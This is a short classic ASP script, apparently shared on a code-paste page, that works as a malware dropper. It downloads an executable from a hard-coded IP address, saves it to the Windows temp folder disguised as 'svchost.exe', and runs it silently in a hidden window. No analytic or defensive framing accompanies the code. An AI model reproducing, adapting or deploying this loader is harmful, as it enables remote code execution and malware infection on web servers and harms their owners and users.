<%
Dim objX: Set objX=Server.CreateObject("MSXML2.ServerXMLHTTP")
Dim objT: Set objT=Server.CreateObject("ADODB.Stream")
Dim objS: Set objS=Server.CreateObject("WScript.Shell")
Dim objF: Set objF=Server.CreateObject("Scripting.FileSystemObject")
Dim TEMP: Set TEMP=objF.GetSpecialFolder(2)
objX.Open "GET","http://104.248.188.76/kek.exe",False
objX.Send
Do While objX.Status=200 And objX.ReadyState=4
With objT
.Type=1
.Open
.Write objX.ResponseBody
.SaveToFile TEMP&"\svchost.exe",2
End With
Exit Do
Loop
objS.Run Chr(34)&TEMP&"\svchost.exe"&Chr(34),0,False
%>
Comments
0 B
|👍
/👎